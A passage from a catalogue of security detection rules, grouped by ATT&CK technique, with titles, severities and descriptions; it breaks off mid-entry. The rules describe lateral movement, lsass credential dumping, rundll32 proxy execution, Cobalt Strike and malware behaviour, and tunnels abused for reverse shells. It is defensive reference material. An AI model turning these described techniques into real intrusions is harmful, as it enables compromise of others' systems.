PSExec and WMI commands CSExec Service File Creation - Level: medium Description: Detects default CSExec service filename which indicates CSExec service installation and execution RemCom Service File Creation - Level: medium Description: Detects default RemCom service filename which indicates RemCom service installation and execution PsExec Service File Creation - Level: low Description: Detects default PsExec service filename which indicates PsExec service installation and execution PUA - CSExec Default Named Pipe - Level: medium Description: Detects default CSExec pipe creation PUA - PAExec Default Named Pipe - Level: medium Description: Detects PAExec default named pipe PUA - RemCom Default Named Pipe - Level: medium Description: Detects default RemCom pipe creation PsExec Tool Execution From Suspicious Locations - PipeName - Level: medium Description: Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack HackTool - SharpUp PrivEsc Tool Execution - Level: critical Description: Detects the use of SharpUp, a tool for local privilege escalation Start Windows Service Via Net.EXE - Level: low Description: Detects the usage of the "net.exe" command to start a service using the "start" flag PUA - CsExec Execution - Level: high Description: Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative PUA - NirCmd Execution - Level: medium Description: Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity PUA - NirCmd Execution As LOCAL SYSTEM - Level: high Description: Detects the use of NirCmd tool for command execution as SYSTEM user PUA - NSudo Execution - Level: high Description: Detects the use of NSudo tool for command execution PUA - RunXCmd Execution - Level: high Description: Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts Rundll32 Execution Without Parameters - Level: high Description: Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module Potential CobaltStrike Service Installations - Registry - Level: high Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. PowerShell as a Service in Registry - Level: high Description: Detects that a powershell code is written to the registry as a service. CosmicDuke Service Installation - Level: critical Description: Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence. DNS RCE CVE-2020-1350 - Level: critical Description: Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process Potential CVE-2022-26809 Exploitation Attempt - Level: high Description: Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809) PsExec Default Named Pipe - Level: low Description: Detects PsExec service default pipe creation Malicious Service Installations - Level: critical Description: Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities. Metasploit Or Impacket Service Installation Via SMB PsExec - Level: high Description: Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation
attack.t1218.011	44	Show Rules (44) Suspicious Rundll32 Script in CommandLine - Level: medium Description: Detects suspicious process related to rundll32 based on arguments Remote Thread Creation Via PowerShell In Uncommon Target - Level: medium Description: Detects the creation of a remote thread from a Powershell process in an uncommon target process SCR File Write Event - Level: medium Description: Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example. Unsigned DLL Loaded by Windows Utility - Level: medium Description: Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code. Rundll32 Internet Connection - Level: medium Description: Detects a rundll32 that communicates with public IP addresses Outbound Network Connection To Public IP Via Winlogon - Level: medium Description: Detects a "winlogon.exe" process that initiate network communications with public IP addresses Process Access via TrolleyExpress Exclusion - Level: high Description: Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) HackTool - F-Secure C3 Load by Rundll32 - Level: critical Description: F-Secure C3 produces DLLs with a default exported StartNodeRelay function. CobaltStrike Load by Rundll32 - Level: high Description: Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line. HackTool - RedMimicry Winnti Playbook Execution - Level: high Description: Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility Code Execution via Pcwutl.dll - Level: medium Description: Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library. Rundll32 InstallScreenSaver Execution - Level: medium Description: An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver Suspicious Rundll32 Setupapi.dll Activity - Level: medium Description: setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file. Shell32 DLL Execution in Suspicious Directory - Level: high Description: Detects shell32.dll executing a DLL in a suspicious directory RunDLL32 Spawning Explorer - Level: high Description: Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way Potentially Suspicious Rundll32 Activity - Level: medium Description: Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities Suspicious Control Panel DLL Load - Level: high Description: Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits Suspicious Rundll32 Execution With Image Extension - Level: high Description: Detects the execution of Rundll32.exe with DLL files masquerading as image files Suspicious ShellExec_RunDLL Call Via Ordinal - Level: high Description: Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine. Suspicious Rundll32 Activity Invoking Sys File - Level: high Description: Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452 Potentially Suspicious Rundll32.EXE Execution of UDL File - Level: medium Description: Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data. Rundll32 Execution With Uncommon DLL Extension - Level: medium Description: Detects the execution of rundll32 with a command line that doesn't contain a common extension Rundll32 UNC Path Execution - Level: high Description: Detects rundll32 execution where the DLL is located on a remote location (share) Bad Opsec Defaults Sacrificial Processes With Improper Arguments - Level: high Description: Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples. Potential PowerShell Execution Via DLL - Level: high Description: Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll. This detection assumes that PowerShell commands are passed via the CommandLine. ScreenSaver Registry Key Set - Level: medium Description: Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl ZxShell Malware - Level: critical Description: Detects a ZxShell start by the called and well-known function name Fireball Archer Install - Level: high Description: Detects Archer malware invocation via rundll32 NotPetya Ransomware Activity - Level: critical Description: Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil Sofacy Trojan Loader Activity - Level: high Description: Detects Trojan loader activity as used by APT28 APT29 2018 Phishing Campaign File Indicators - Level: critical Description: Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant APT29 2018 Phishing Campaign CommandLine Indicators - Level: critical Description: Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant Equation Group DLL_U Export Function Load - Level: critical Description: Detects a specific export function name used by one of EquationGroup tools Potential Emotet Rundll32 Execution - Level: critical Description: Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL EvilNum APT Golden Chickens Deployment Via OCX Files - Level: critical Description: Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report Potential Bumblebee Remote Thread Creation - Level: high Description: Detects remote thread injection events based on action seen used by bumblebee IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32 - Level: high Description: Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID Rhadamanthys Stealer Module Launch Via Rundll32.EXE - Level: medium Description: Detects the use of Rundll32 to launch an NSIS module that serves as the main stealer capability of Rhadamanthys infostealer, as observed in reports and samples in early 2023 Kapeka Backdoor Loaded Via Rundll32.EXE - Level: high Description: Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In. Kapeka Backdoor Execution Via RunDLL32.EXE - Level: high Description: Detects Kapeka backdoor process execution pattern, where the dropper launch the backdoor binary by calling rundll32 and passing the backdoor's first export ordinal (#1) with a "-d" argument. Potential Raspberry Robin CPL Execution Activity - Level: high Description: Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants. DLL Call by Ordinal Via Rundll32.EXE - Level: medium Description: Detects calls of DLLs exports by ordinal numbers via rundll32.dll.
attack.t1071.001	42	Show Rules (42) CobaltStrike Malleable Amazon Browsing Traffic Profile - Level: high Description: Detects Malleable Amazon Profile CobaltStrike Malformed UAs in Malleable Profiles - Level: critical Description: Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike CobaltStrike Malleable (OCSP) Profile - Level: high Description: Detects Malleable (OCSP) Profile with Typo (OSCP) in URL CobaltStrike Malleable OneDrive Browsing Traffic Profile - Level: high Description: Detects Malleable OneDrive Profile Suspicious Curl Change User Agents - Linux - Level: medium Description: Detects a suspicious curl process start on linux with set useragent options Suspicious Installer Package Child Process - Level: medium Description: Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters Wannacry Killswitch Domain - Level: high Description: Detects wannacry killswitch domain dns queries Windows WebDAV User Agent - Level: high Description: Detects WebDav DownloadCradle HackTool - CobaltStrike Malleable Profile Patterns - Proxy - Level: high Description: Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods). HackTool - BabyShark Agent Default URL Pattern - Level: critical Description: Detects Baby Shark C2 Framework default communication patterns HackTool - Empire UserAgent URI Combo - Level: high Description: Detects user agent and URI paths used by empire agents PwnDrp Access - Level: critical Description: Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity Raw Paste Service Access - Level: high Description: Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form Telegram API Access - Level: medium Description: Detects suspicious requests to Telegram API without the usual Telegram User-Agent APT User Agent - Level: high Description: Detects suspicious user agent strings used in APT malware in proxy logs Suspicious Base64 Encoded User-Agent - Level: medium Description: Detects suspicious encoded User-Agent strings, as seen used by some malware. Bitsadmin to Uncommon IP Server Address - Level: high Description: Detects Bitsadmin connections to IP addresses instead of FQDN names Bitsadmin to Uncommon TLD - Level: high Description: Detects Bitsadmin connections to domains with uncommon TLDs Crypto Miner User Agent - Level: high Description: Detects suspicious user agent strings used by crypto miners in proxy logs HTTP Request With Empty User Agent - Level: medium Description: Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method. Exploit Framework User Agent - Level: high Description: Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs Malware User Agent - Level: high Description: Detects suspicious user agent strings used by malware in proxy logs Windows PowerShell User Agent - Level: medium Description: Detects Windows PowerShell Web Access Suspicious User Agent - Level: high Description: Detects suspicious malformed user agent strings in proxy logs Potential Base64 Encoded User-Agent - Level: medium Description: Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding. Cloudflared Tunnels Related DNS Requests - Level: medium Description: Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. DNS Query To Devtunnels Domain - Level: medium Description: Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. DNS Query Request By QuickAssist.EXE - Level: low Description: Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session. DNS Query To Visual Studio Code Tunnels Domain - Level: medium Description: Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. Outbound Network Connection Initiated By Microsoft Dialer - Level: high Description: Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys" Change User Agents with WebRequest - Level: medium Description: Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Visual Studio Code Tunnel Execution - Level: medium Description: Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel Visual Studio Code Tunnel Shell Execution - Level: medium Description: Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system. Renamed Visual Studio Code Tunnel Execution - Level: high Description: Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel Visual Studio Code Tunnel Service Installation - Level: medium Description: Detects the installation of VsCode tunnel (code-tunnel) as a service. Chafer Malware URL Pattern - Level: high Description: Detects HTTP request used by Chafer malware to receive data from its C2. Ursnif Malware C2 URL Pattern - Level: critical Description: Detects Ursnif C2 traffic. Ursnif Malware Download URL Pattern - Level: high Description: Detects download of Ursnif malware done by dropper documents. APT40 Dropbox Tool User Agent - Level: high Description: Detects suspicious user agent string of APT40 Dropbox tool ComRAT Network Communication - Level: high Description: Detects Turla ComRAT network communication. Curl.EXE Execution With Custom UserAgent - Level: medium Description: Detects execution of curl.exe with custom useragent options Tunneling Tool Execution - Level: medium Description: Detects the execution of well known tools that can be abused for data exfiltration and tunneling.
attack.t1021.002	41	Show Rules (41) PsExec Pipes Artifacts - Level: medium Description: Detecting use PsExec via Pipe Creation/Access to pipes DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon - Level: critical Description: Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario. SMB Spoolss Name Piped Usage - Level: medium Description: Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled. First Time Seen Remote Named Pipe - Zeek - Level: high Description: This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes Suspicious PsExec Execution - Zeek - Level: high Description: detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one Access To ADMIN$ Network Share - Level: low Description: Detects access to ADMIN$ network share CobaltStrike Service Installations - Security - Level: high Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement DCERPC SMB Spoolss Named Pipe - Level: medium Description: Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled. DCOM InternetExplorer.Application Iertutil DLL Hijack - Security - Level: high Description: Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario. Impacket PsExec Execution - Level: high Description: Detects execution of Impacket's psexec.py. First Time Seen Remote Named Pipe - Level: high Description: This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes Metasploit SMB Authentication - Level: high Description: Alerts on Metasploit host's authentications on the domain. Metasploit Or Impacket Service Installation Via SMB PsExec - Level: high Description: Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation Protected Storage Service Access - Level: high Description: Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers SMB Create Remote File Admin Share - Level: high Description: Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$). Suspicious PsExec Execution - Level: high Description: detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one Remote Service Activity via SVCCTL Named Pipe - Level: medium Description: Detects remote service activity via remote access to the svcctl named pipe T1047 Wmiprvse Wbemcomn DLL Hijack - Level: high Description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network for a WMI DLL Hijack scenario. CobaltStrike Service Installations - System - Level: critical Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement smbexec.py Service Installation - Level: high Description: Detects the use of smbexec.py tool by detecting a specific service installation Potential DCOM InternetExplorer.Application DLL Hijack - Level: critical Description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network Wmiprvse Wbemcomn DLL Hijack - File - Level: critical Description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario. Potential DCOM InternetExplorer.Application DLL Hijack - Image Load - Level: critical Description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class Wmiprvse Wbemcomn DLL Hijack - Level: high Description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario. PUA - CSExec Default Named Pipe - Level: medium Description: Detects default CSExec pipe creation PUA - RemCom Default Named Pipe - Level: medium Description: Detects default RemCom pipe creation Suspicious New-PSDrive to Admin Share - Level: medium Description: Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. HackTool - SharpMove Tool Execution - Level: high Description: Detects the execution of SharpMove, a .NET utility performing multiple tasks such as "Task Creation", "SCM" query, VBScript execution using WMI via its PE metadata and command line options. Windows Admin Share Mount Via Net.EXE - Level: medium Description: Detects when an admin share is mounted using net.exe Password Provided In Command Line Of Net.EXE - Level: medium Description: Detects a when net.exe is called with a password in the command line Windows Internet Hosted WebDav Share Mount Via Net.EXE - Level: high Description: Detects when an internet hosted webdav share is mounted using the "net.exe" utility Windows Share Mount Via Net.EXE - Level: low Description: Detects when a share is mounted using the "net.exe" utility Rundll32 UNC Path Execution - Level: high Description: Detects rundll32 execution where the DLL is located on a remote location (share) Rundll32 Execution Without Parameters - Level: high Description: Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module Copy From Or To Admin Share Or Sysvol Folder - Level: medium Description: Detects a copy command or a copy utility execution to or from an Admin share or remote Potential CobaltStrike Service Installations - Registry - Level: high Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. Turla Group Lateral Movement - Level: critical Description: Detects automated lateral movement by Turla group Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE". Automated Turla Group Lateral Movement - Level: medium Description: Detects automated lateral movement by Turla group Metasploit Or Impacket Service Installation Via SMB PsExec - Level: high Description: Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation Failed Mounting of Hidden Share - Level: medium Description: Detects repeated failed (outgoing) attempts to mount a hidden share
attack.t1078.004	38	Show Rules (38) AWS SAML Provider Deletion Activity - Level: medium Description: Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it. AWS IAM S3Browser Templated S3 Bucket Policy Creation - Level: high Description: Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "". AWS IAM S3Browser LoginProfile Creation - Level: high Description: Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile. AWS IAM S3Browser User or AccessKey Creation - Level: high Description: Detects S3 Browser utility creating IAM User or AccessKey. AWS Root Credentials - Level: medium Description: Detects AWS root account usage Azure Subscription Permission Elevation Via ActivityLogs - Level: high Description: Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment. Bitlocker Key Retrieval - Level: medium Description: Monitor and alert for Bitlocker key retrieval. Users Added to Global or Device Admin Roles - Level: high Description: Monitor and alert for users added to device admin roles. Application AppID Uri Configuration Changes - Level: high Description: Detects when a configuration change is made to an applications AppID URI. Application URI Configuration Changes - Level: high Description: Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated. Guest User Invited By Non Approved Inviters - Level: medium Description: Detects when a user that doesn't have permissions to invite a guest user attempts to invite one. User State Changed From Guest To Member - Level: medium Description: Detects the change of user type from "Guest" to "Member" for potential elevation of privilege. PIM Approvals And Deny Elevation - Level: high Description: Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated. Changes To PIM Settings - Level: high Description: Detects when changes are made to PIM roles User Added To Privilege Role - Level: high Description: Detects when a user is added to a privileged role. Privileged Account Creation - Level: medium Description: Detects when a new admin is created. Temporary Access Pass Added To An Account - Level: high Description: Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated Password Reset By User Account - Level: medium Description: Detect when a user has reset their password in Azure AD Successful Authentications From Countries You Do Not Operate Out Of - Level: medium Description: Detect successful authentications from countries you do not operate out of. Failed Authentications From Countries You Do Not Operate Out Of - Level: low Description: Detect failed authentications from countries you do not operate out of. Device Registration or Join Without MFA - Level: medium Description: Monitor and alert for device registration or join events where MFA was not performed. Azure AD Only Single Factor Authentication Required - Level: low Description: Detect when users are authenticating without MFA being required. Sign-ins from Non-Compliant Devices - Level: high Description: Monitor and alert for sign-ins where the device was non-compliant. Sign-ins by Unknown Devices - Level: low Description: Monitor and alert for Sign-ins by unknown devices from non-Trusted locations. Potential MFA Bypass Using Legacy Client Authentication - Level: high Description: Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack. Account Disabled or Blocked for Sign in Attempts - Level: medium Description: Detects when an account is disabled or blocked for sign in but tried to log in Sign-in Failure Due to Conditional Access Requirements Not Met - Level: high Description: Define a baseline threshold for failed sign-ins due to Conditional Access failures Use of Legacy Authentication Protocols - Level: high Description: Alert on when legacy authentication has been used on an account Login to Disabled Account - Level: medium Description: Detect failed attempts to sign in to disabled accounts. Multifactor Authentication Denied - Level: medium Description: User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account. Multifactor Authentication Interrupted - Level: medium Description: Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge. Users Authenticating To Other Azure AD Tenants - Level: medium Description: Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants. User Access Blocked by Azure Conditional Access - Level: medium Description: Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts. Bitbucket User Login Failure - Level: medium Description: Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field. Github New Secret Created - Level: low Description: Detects when a user creates action secret for the organization, environment, codespaces or repository. Github Self Hosted Runner Changes Detected - Level: low Description: A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context. Github SSH Certificate Configuration Changed - Level: medium Description: Detects when changes are made to the SSH certificate configuration of the organization. Okta New Admin Console Behaviours - Level: high Description: Detects when Okta identifies new activity in the Admin Console.
attack.t1204.002	37	Show Rules (37) New Lolbin Process by Office Applications - Level: high Description: This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated. Excel Proxy Executing Regsvr32 With Payload - Level: high Description: Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes. Excel Proxy Executing Regsvr32 With Payload Alternate - Level: high Description: Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes. Office Applications Spawning Wmi Cli Alternate - Level: high Description: Initial execution of malicious document calls wmic to execute the file with regsvr32 WMI Execution Via Office Process - Level: medium Description: Initial execution of malicious document calls wmic to execute the file with regsvr32 Suspicious Microsoft Office Child Process - MacOS - Level: high Description: Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution Download From Suspicious TLD - Blacklist - Level: low Description: Detects download of certain file types from hosts in suspicious TLDs Download From Suspicious TLD - Whitelist - Level: low Description: Detects executable downloads from suspicious remote systems Flash Player Update from Suspicious Location - Level: high Description: Detects a flashplayer update from an unofficial location File Was Not Allowed To Run - Level: medium Description: Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events. File With Uncommon Extension Created By An Office Application - Level: high Description: Detects the creation of files with an executable or script extension by an Office application. CLR DLL Loaded Via Office Applications - Level: medium Description: Detects CLR DLL being loaded by an Office Product DotNET Assembly DLL Loaded Via Office Application - Level: medium Description: Detects any assembly DLL being loaded by an Office Product Active Directory Parsing DLL Loaded Via Office Application - Level: medium Description: Detects DSParse DLL being loaded by an Office Product GAC DLL Loaded Via Office Applications - Level: high Description: Detects any GAC DLL being loaded by an Office Product Microsoft Excel Add-In Loaded From Uncommon Location - Level: medium Description: Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location Active Directory Kerberos DLL Loaded Via Office Application - Level: medium Description: Detects Kerberos DLL being loaded by an Office Product Microsoft VBA For Outlook Addin Loaded Via Outlook - Level: medium Description: Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process VBA DLL Loaded Via Office Application - Level: high Description: Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros. Remote DLL Load Via Rundll32.EXE - Level: medium Description: Detects a remote DLL load event via "rundll32.exe". HackTool - LittleCorporal Generated Maldoc Injection - Level: high Description: Detects the process injection of a LittleCorporal generated Maldoc. Suspicious Outlook Child Process - Level: high Description: Detects a suspicious process spawning from an Outlook process. Suspicious Binary In User Directory Spawned From Office Application - Level: high Description: Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio) Suspicious Microsoft Office Child Process - Level: high Description: Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.) Potential Suspicious Browser Launch From Document Reader Process - Level: medium Description: Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt. Suspicious WMIC Execution Via Office Process - Level: high Description: Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin). Suspicious WmiPrvSE Child Process - Level: high Description: Detects suspicious and uncommon child processes of WmiPrvSE New Application in AppCompat - Level: informational Description: A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint. Exploit for CVE-2017-0261 - Level: medium Description: Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262 Droppers Exploiting CVE-2017-11882 - Level: critical Description: Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe Exploit for CVE-2017-8759 - Level: critical Description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759 Ursnif Malware C2 URL Pattern - Level: critical Description: Detects Ursnif C2 traffic. Potential Maze Ransomware Activity - Level: critical Description: Detects specific process characteristics of Maze ransomware word document droppers Kapeka Backdoor Loaded Via Rundll32.EXE - Level: high Description: Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In. Microsoft Excel Add-In Loaded - Level: low Description: Detects Microsoft Excel loading an Add-In (.xll) file Microsoft Word Add-In Loaded - Level: low Description: Detects Microsoft Word loading an Add-In (.wll) file which can be used by threat actors for initial access or persistence. File Creation by Office Applications - Level: high Description: This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.
attack.t1547.001	37	Show Rules (37) Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. File Creation In Suspicious Directory By Msdt.EXE - Level: high Description: Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities Potential Startup Shortcut Persistence Via PowerShell.EXE - Level: high Description: Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL" Startup Folder File Write - Level: medium Description: A General detection for files being created in the Windows startup directory. This could be an indicator of persistence. Suspicious Startup Folder Persistence - Level: high Description: Detects when a file with a suspicious extension is created in the startup folder Potential Persistence Attempt Via Run Keys Using Reg.EXE - Level: medium Description: Detects suspicious command line reg.exe tool adding key to RUN key in Registry Direct Autorun Keys Modification - Level: medium Description: Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe. Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Narrator's Feedback-Hub Persistence - Level: high Description: Detects abusing Windows 10 Narrator's Feedback-Hub Suspicious Run Key from Download - Level: high Description: Detects the suspicious RUN keys created by software located in 